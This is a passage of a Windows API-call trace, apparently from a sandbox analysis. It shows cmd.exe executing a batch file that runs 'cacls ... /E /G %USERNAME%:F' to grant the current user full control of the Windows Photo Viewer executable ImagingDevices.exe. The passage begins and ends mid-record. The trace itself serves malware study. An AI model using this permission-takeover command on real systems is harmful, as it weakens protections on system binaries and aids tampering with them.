lpConsoleTitle=0x322f58, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0135.952] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0135.952] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0135.952] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0135.952] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0135.953] GetProcessHeap () returned 0x310000 [0135.953] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x400a) returned 0x326af0 [0135.953] GetProcessHeap () returned 0x310000 [0135.953] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x326af0 | out: hHeap=0x310000) returned 1 [0135.955] _wcsicmp (_String1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"", _String2=")") returned -7 [0135.955] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0135.955] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0135.955] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0135.955] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0135.955] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0135.955] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0135.955] GetProcessHeap () returned 0x310000 [0135.955] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x58) returned 0x323170 [0135.955] GetProcessHeap () returned 0x310000 [0135.955] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x72) returned 0x332b40 [0135.956] GetProcessHeap () returned 0x310000 [0135.956] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x80) returned 0x3231d0 [0135.957] GetConsoleTitleW (in: lpConsoleTitle=0x16f4f8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0135.957] GetFileAttributesW (lpFileName="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\\"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat\"")) returned 0xffffffff [0135.957] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0135.957] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0135.957] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0135.957] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0135.957] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0135.957] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0135.957] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0135.957] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0135.957] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0135.957] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0135.957] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0135.957] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0135.958] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0135.958] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0135.958] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0135.958] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0135.958] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0135.958] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0135.958] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0135.958] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0135.958] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0135.958] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0135.958] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0135.958] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0135.958] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0135.958] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0135.958] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0135.958] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0135.958] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0135.958] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0135.958] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0135.958] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0135.958] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0135.958] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0135.958] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0135.958] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0135.958] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0135.958] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0135.958] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0135.958] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0135.958] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0135.958] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0135.958] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0135.958] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0135.958] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0135.958] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0135.958] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0135.958] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0135.958] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0135.958] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0135.959] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0135.959] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0135.959] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0135.959] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0135.959] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0135.959] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0135.959] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0135.959] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0135.959] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0135.959] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0135.959] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0135.959] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0135.959] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0135.959] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0135.959] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0135.959] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0135.959] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0135.959] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0135.959] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0135.959] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0135.959] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0135.959] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0135.959] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0135.959] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0135.959] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0135.959] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0135.959] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0135.959] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0135.959] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0135.959] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0135.959] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0135.959] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0135.959] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0135.959] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0135.959] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0135.959] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0135.959] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0135.959] GetProcessHeap () returned 0x310000 [0135.959] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x210) returned 0x323258 [0135.960] GetProcessHeap () returned 0x310000 [0135.960] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xea) returned 0x323470 [0135.962] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0135.962] GetProcessHeap () returned 0x310000 [0135.962] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x418) returned 0x3107f0 [0135.962] SetErrorMode (uMode=0x0) returned 0x0 [0135.962] SetErrorMode (uMode=0x1) returned 0x0 [0135.962] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x208, lpBuffer=0x3107f8, lpFilePart=0x16f018 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f018*="Desktop") returned 0x25 [0135.962] SetErrorMode (uMode=0x0) returned 0x1 [0135.962] GetProcessHeap () returned 0x310000 [0135.962] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x3107f0, Size=0x6e) returned 0x3107f0 [0135.962] GetProcessHeap () returned 0x310000 [0135.962] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x3107f0) returned 0x6e [0135.962] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 1 [0135.962] GetProcessHeap () returned 0x310000 [0135.962] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x5a) returned 0x323568 [0135.962] GetProcessHeap () returned 0x310000 [0135.962] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xa8) returned 0x3235d0 [0135.962] GetProcessHeap () returned 0x310000 [0135.962] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x3235d0, Size=0x5a) returned 0x3235d0 [0135.962] GetProcessHeap () returned 0x310000 [0135.962] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x3235d0) returned 0x5a [0135.962] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0135.963] GetProcessHeap () returned 0x310000 [0135.963] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xe0) returned 0x310868 [0135.966] GetProcessHeap () returned 0x310000 [0135.966] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x310868, Size=0x76) returned 0x310868 [0135.966] GetProcessHeap () returned 0x310000 [0135.966] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x310868) returned 0x76 [0135.966] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0135.966] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", fInfoLevelId=0x1, lpFindFileData=0x16edb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16edb4) returned 0x323638 [0135.966] GetProcessHeap () returned 0x310000 [0135.966] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x0, Size=0x14) returned 0x321810 [0135.966] FindClose (in: hFindFile=0x323638 | out: hFindFile=0x323638) returned 1 [0135.966] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0135.966] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0135.966] GetConsoleTitleW (in: lpConsoleTitle=0x16f28c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0135.990] GetProcessHeap () returned 0x310000 [0135.990] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x11c) returned 0x3108e8 [0135.990] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0135.990] GetProcAddress (hModule=0x754b0000, lpProcName="SaferIdentifyLevel") returned 0x754d2102 [0135.991] IdentifyCodeAuthzLevelW () returned 0x1 [0135.998] GetProcAddress (hModule=0x754b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x754d3352 [0135.998] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0135.998] GetProcAddress (hModule=0x754b0000, lpProcName="SaferCloseLevel") returned 0x754d3825 [0135.998] CloseCodeAuthzLevel () returned 0x1 [0135.998] SetErrorMode (uMode=0x0) returned 0x0 [0135.999] SetErrorMode (uMode=0x1) returned 0x0 [0135.999] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x104, lpBuffer=0x323260, lpFilePart=0x16f178 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x16f178*="Bt3xnwko.bat") returned 0x32 [0135.999] SetErrorMode (uMode=0x0) returned 0x1 [0135.999] GetProcessHeap () returned 0x310000 [0135.999] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x72) returned 0x332bc0 [0135.999] wcsspn (_String=" \"C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe\"", _Control=" \x09") returned 0x1 [0135.999] GetProcessHeap () returned 0x310000 [0135.999] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x7e) returned 0x311140 [0135.999] GetProcessHeap () returned 0x310000 [0135.999] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xf4) returned 0x3111c8 [0135.999] GetProcessHeap () returned 0x310000 [0135.999] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x3111c8, Size=0x80) returned 0x3111c8 [0135.999] GetProcessHeap () returned 0x310000 [0135.999] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x3111c8) returned 0x80 [0135.999] CmdBatNotification () returned 0x3232c2 [0135.999] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x16f1bc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0135.999] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0136.000] _get_osfhandle (_FileHandle=3) returned 0x78 [0136.000] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.000] _get_osfhandle (_FileHandle=3) returned 0x78 [0136.000] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.000] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x16f1a0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x16f1a0*=0xe2, lpOverlapped=0x0) returned 1 [0136.002] SetFilePointer (in: hFile=0x78, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0136.002] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=32, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\n") returned 32 [0136.002] _get_osfhandle (_FileHandle=3) returned 0x78 [0136.002] GetFileType (hFile=0x78) returned 0x1 [0136.002] _get_osfhandle (_FileHandle=3) returned 0x78 [0136.002] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0136.002] GetProcessHeap () returned 0x310000 [0136.003] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x400a) returned 0x326af0 [0136.003] GetProcessHeap () returned 0x310000 [0136.003] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x4008) returned 0x334b28 [0136.003] GetProcessHeap () returned 0x310000 [0136.003] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x1a) returned 0x325840 [0136.003] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0136.003] GetProcessHeap () returned 0x310000 [0136.003] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325840 | out: hHeap=0x310000) returned 1 [0136.003] GetProcessHeap () returned 0x310000 [0136.003] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x334b28 | out: hHeap=0x310000) returned 1 [0136.003] GetProcessHeap () returned 0x310000 [0136.003] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x326af0 | out: hHeap=0x310000) returned 1 [0136.004] _wcsicmp (_String1="cacls", _String2=")") returned 58 [0136.004] _wcsicmp (_String1="FOR", _String2="cacls") returned 3 [0136.004] _wcsicmp (_String1="FOR/?", _String2="cacls") returned 3 [0136.004] _wcsicmp (_String1="IF", _String2="cacls") returned 6 [0136.004] _wcsicmp (_String1="IF/?", _String2="cacls") returned 6 [0136.004] _wcsicmp (_String1="REM", _String2="cacls") returned 15 [0136.004] _wcsicmp (_String1="REM/?", _String2="cacls") returned 15 [0136.004] GetProcessHeap () returned 0x310000 [0136.004] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x58) returned 0x311250 [0136.004] GetProcessHeap () returned 0x310000 [0136.004] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x14) returned 0x310ab8 [0136.006] GetProcessHeap () returned 0x310000 [0136.006] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xc0) returned 0x324190 [0136.006] _tell (_FileHandle=3) returned 32 [0136.006] _close (_FileHandle=3) returned 0 [0136.006] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16ef74 | out: _Buffer="\r\n") returned 2 [0136.007] _get_osfhandle (_FileHandle=1) returned 0x7 [0136.007] GetFileType (hFile=0x7) returned 0x2 [0136.007] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0136.007] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16ef34 | out: lpMode=0x16ef34) returned 1 [0136.008] _get_osfhandle (_FileHandle=1) returned 0x7 [0136.008] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x16ef60, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16ef60*=0x2) returned 1 [0136.008] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0136.008] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0136.008] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x16ef70 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0136.008] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x16ef70 | out: _Buffer=">") returned 1 [0136.008] _get_osfhandle (_FileHandle=1) returned 0x7 [0136.008] GetFileType (hFile=0x7) returned 0x2 [0136.009] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0136.009] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16ef38 | out: lpMode=0x16ef38) returned 1 [0136.009] _get_osfhandle (_FileHandle=1) returned 0x7 [0136.009] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x16ef64, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x16ef64*=0x26) returned 1 [0136.010] _get_osfhandle (_FileHandle=1) returned 0x7 [0136.010] GetFileType (hFile=0x7) returned 0x2 [0136.010] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0136.010] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1bc | out: lpMode=0x16f1bc) returned 1 [0136.010] _get_osfhandle (_FileHandle=1) returned 0x7 [0136.010] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x310ac0*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x16f1e8, lpReserved=0x0 | out: lpBuffer=0x310ac0*, lpNumberOfCharsWritten=0x16f1e8*=0x5) returned 1 [0136.011] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x16f1f4 | out: _Buffer=" \"C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C ") returned 92 [0136.011] _get_osfhandle (_FileHandle=1) returned 0x7 [0136.011] GetFileType (hFile=0x7) returned 0x2 [0136.011] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0136.011] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1b4 | out: lpMode=0x16f1b4) returned 1 [0136.011] _get_osfhandle (_FileHandle=1) returned 0x7 [0136.011] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x5c, lpNumberOfCharsWritten=0x16f1e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16f1e0*=0x5c) returned 1 [0136.012] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16f214 | out: _Buffer="\r\n") returned 2 [0136.012] _get_osfhandle (_FileHandle=1) returned 0x7 [0136.012] GetFileType (hFile=0x7) returned 0x2 [0136.012] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0136.012] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1d4 | out: lpMode=0x16f1d4) returned 1 [0136.012] _get_osfhandle (_FileHandle=1) returned 0x7 [0136.012] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x16f200, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16f200*=0x2) returned 1 [0136.012] _wcsicmp (_String1="cacls", _String2="DIR") returned -1 [0136.012] _wcsicmp (_String1="cacls", _String2="ERASE") returned -2 [0136.012] _wcsicmp (_String1="cacls", _String2="DEL") returned -1 [0136.012] _wcsicmp (_String1="cacls", _String2="TYPE") returned -17 [0136.013] _wcsicmp (_String1="cacls", _String2="COPY") returned -14 [0136.013] _wcsicmp (_String1="cacls", _String2="CD") returned -3 [0136.013] _wcsicmp (_String1="cacls", _String2="CHDIR") returned -7 [0136.013] _wcsicmp (_String1="cacls", _String2="RENAME") returned -15 [0136.013] _wcsicmp (_String1="cacls", _String2="REN") returned -15 [0136.013] _wcsicmp (_String1="cacls", _String2="ECHO") returned -2 [0136.013] _wcsicmp (_String1="cacls", _String2="SET") returned -16 [0136.013] _wcsicmp (_String1="cacls", _String2="PAUSE") returned -13 [0136.013] _wcsicmp (_String1="cacls", _String2="DATE") returned -1 [0136.013] _wcsicmp (_String1="cacls", _String2="TIME") returned -17 [0136.013] _wcsicmp (_String1="cacls", _String2="PROMPT") returned -13 [0136.013] _wcsicmp (_String1="cacls", _String2="MD") returned -10 [0136.013] _wcsicmp (_String1="cacls", _String2="MKDIR") returned -10 [0136.013] _wcsicmp (_String1="cacls", _String2="RD") returned -15 [0136.013] _wcsicmp (_String1="cacls", _String2="RMDIR") returned -15 [0136.013] _wcsicmp (_String1="cacls", _String2="PATH") returned -13 [0136.013] _wcsicmp (_String1="cacls", _String2="GOTO") returned -4 [0136.013] _wcsicmp (_String1="cacls", _String2="SHIFT") returned -16 [0136.013] _wcsicmp (_String1="cacls", _String2="CLS") returned -11 [0136.013] _wcsicmp (_String1="cacls", _String2="CALL") returned -9 [0136.013] _wcsicmp (_String1="cacls", _String2="VERIFY") returned -19 [0136.013] _wcsicmp (_String1="cacls", _String2="VER") returned -19 [0136.013] _wcsicmp (_String1="cacls", _String2="VOL") returned -19 [0136.013] _wcsicmp (_String1="cacls", _String2="EXIT") returned -2 [0136.013] _wcsicmp (_String1="cacls", _String2="SETLOCAL") returned -16 [0136.013] _wcsicmp (_String1="cacls", _String2="ENDLOCAL") returned -2 [0136.013] _wcsicmp (_String1="cacls", _String2="TITLE") returned -17 [0136.013] _wcsicmp (_String1="cacls", _String2="START") returned -16 [0136.013] _wcsicmp (_String1="cacls", _String2="DPATH") returned -1 [0136.013] _wcsicmp (_String1="cacls", _String2="KEYS") returned -8 [0136.013] _wcsicmp (_String1="cacls", _String2="MOVE") returned -10 [0136.013] _wcsicmp (_String1="cacls", _String2="PUSHD") returned -13 [0136.013] _wcsicmp (_String1="cacls", _String2="POPD") returned -13 [0136.013] _wcsicmp (_String1="cacls", _String2="ASSOC") returned 2 [0136.013] _wcsicmp (_String1="cacls", _String2="FTYPE") returned -3 [0136.013] _wcsicmp (_String1="cacls", _String2="BREAK") returned 1 [0136.013] _wcsicmp (_String1="cacls", _String2="COLOR") returned -14 [0136.014] _wcsicmp (_String1="cacls", _String2="MKLINK") returned -10 [0136.014] _wcsnicmp (_String1="cacl", _String2="cmd ", _MaxCount=0x4) returned -12 [0136.014] GetProcessHeap () returned 0x310000 [0136.014] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x418) returned 0x324258 [0136.014] SetErrorMode (uMode=0x0) returned 0x0 [0136.014] SetErrorMode (uMode=0x1) returned 0x0 [0136.014] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x324260, lpFilePart=0x16efb8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16efb8*="Desktop") returned 0x25 [0136.014] SetErrorMode (uMode=0x0) returned 0x1 [0136.014] GetProcessHeap () returned 0x310000 [0136.014] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x324258, Size=0x60) returned 0x324258 [0136.014] GetProcessHeap () returned 0x310000 [0136.014] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x324258) returned 0x60 [0136.014] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0136.014] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0136.014] GetProcessHeap () returned 0x310000 [0136.014] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x120) returned 0x3242c0 [0136.014] GetProcessHeap () returned 0x310000 [0136.014] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x238) returned 0x3243e8 [0136.016] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.017] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x16ed34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ed34) returned 0xffffffff [0136.017] GetLastError () returned 0x2 [0136.017] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x16ed34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ed34) returned 0xffffffff [0136.017] GetLastError () returned 0x2 [0136.017] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.018] FindFirstFileExW (in: 